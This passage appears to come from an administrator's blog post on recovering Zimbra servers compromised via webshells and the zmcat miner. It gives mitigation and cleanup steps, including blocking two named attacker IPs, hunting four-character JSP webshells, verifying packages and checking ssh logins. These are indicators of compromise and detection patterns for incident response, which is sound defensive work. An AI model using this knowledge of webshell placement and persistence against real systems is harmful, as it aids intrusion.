Another mitigation is to block traffic to and from the IPs where the jsp and sh are downloaded: 87.236.233.105 and 185.106.120.118 (update: This has been taken down by Hostsailor).
Again this is very weak, payload might be easily uploaded somewhere else.
Hide from search engines
Again not totally effective, but hiding from search engines can help you not being found by automated scripts.
?
1
zmprov mcf zimbraMailKeepOutWebCrawlers TRUE +zimbraResponseHeader "X-Robots-Tag: noindex"
This doesn’t work for other engines like Shodan, but generally I keep my webmail not searchable.
Cleanup zmcat
This is a little mess. JoBbZ on IRC wrote:
I hear the “best” thing to do if you got hacked is spin up a clean, patched system, and move the mailboxes over to it
But let’s not be so dramatic. Indeed different levels of compromisation have been reported on IRC and the forums. Most of the times new files were added to Zimbra, in some original ones were touched!
I’m reporting here what I gathered from personal experience and others’ feedback. Elaborate and decide yourself what to do, take snapshots/backups/rsync before proceding and anyway do it on your own responsibility, I shall not be liable of any damage you caused to your systems!
The most secure approach in restoring a compromised server is exactly what JoBzZ said above: spin up a new server, copy over data from the bad server, turn the new one live.
Another approach is to uninstall Zimbra (keeping your data!), wipe what’s left around except configuration, store, database and then do a software only install, followed by zmsetup. This is extremely dangerous and should be done only by expert administrators.
Then there’s manual cleanup. It’s the easiest approach because it doesn’t cause downtime, but can potentially leave traces of the infection around which can be used by the attacker to re-upload its files.
To manually clean up:
first of all patch Zimbra, and/or block the python useragent from uploading the crap again;
kill all running processes of the two bash scripts and zmcat. An helpful command could be
ps faux | grep l\.sh
there might also be some wget processes running, kill them as well
delete the sh scripts and zmcat from /tmp;
now the hardest part: delete all the proxying jsp and java from /opt/zimbra.
A very handy command, posted by lfasci on the forum, is:
find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls
find /opt/zimbra/jetty/ -name "*.class" -mtime -15 -ls
This will find all the JSP and JAVA files updated within the last 15 days. If you applied the patch in this timeframe some legit classes will show up, but compromised ones are quite easy to detect: the file name is four characters long and with random bits. From the log above you can spot downloads/LU4e.jsp, public/jsp/ynwD.jsp, downloads/PS1q.jsp.
This is a manual process, unless you want to extract all the matching jsp pattern from the logs. Instead of deleting move the files to a temporary directory. To make sure they’re not Zimbra official files you can open them: if they look crap, all the code in one line without newlines, 99% it has to be moved away.
Remember to restart zimbra after cleaning up class and jsp files.
Another automated check could be to compare the JSPs with the txt downloaded from 87[.]236.233.105 (the IP you find in the logs);
again lfasci notices you might find a file named ZimbraApps.jsp: this is not part of Zimbra but it’s a file browser extensions (jspbrowser), which can potentially allow an attacker to browse your filesystem (again as zimbra user);
verifying original Zimbra files can be done using package managers. In Ubuntu you can:
apt install debsums
dpkg -l zimbra* | grep ^ii | awk '{print $2}' | xargs debsums -c
In RHEL/CentOS:
rpm -qa zimbra* | xargs rpm -qV - | egrep -E '^.{2}5'
The commands above will print all the files which MD5 is different from the one installed by packages. Some changes might be legit, so you have to manually inspect the files to see if they’re valid or not.
After cleanup it’s always a good idea to change LDAP password using zmldappasswd.
As the attacker can potentially have access to all zimbra files, he could have stolen ssh identity file and/or have set a password for the zimbra user, so he can ssh into the system later. Do:
check with last or last -f /var/log/wtmp for unexpected logins;
check /var/log/auth.log or /var/log/secure for remote ssh logins for zimbra user;
check /etc/shadow if the zimbra user has a password set: it should not.
If you feel your keys can be compromised you can regenerate them with:
su - zimbra
zmsshkeygen
zmupdateauthkeys
I hope this will help others. If you have improvements or corrections please let me know.
UPDATE 0900 CEST: Hostsailor replied me they blocked the host delivering zmcat binaries!
UPDATE 2023 CEST: added more details on the file and on how to find malicious JSP files
UPDATE apr 9th: added *_jsp.java files find as per Israeru comment
UPDATE apr 12th: added package MD5 verification and other recovery methods
UPDATE apr 26th: link to 8.6P14, added advices for potential ssh logins."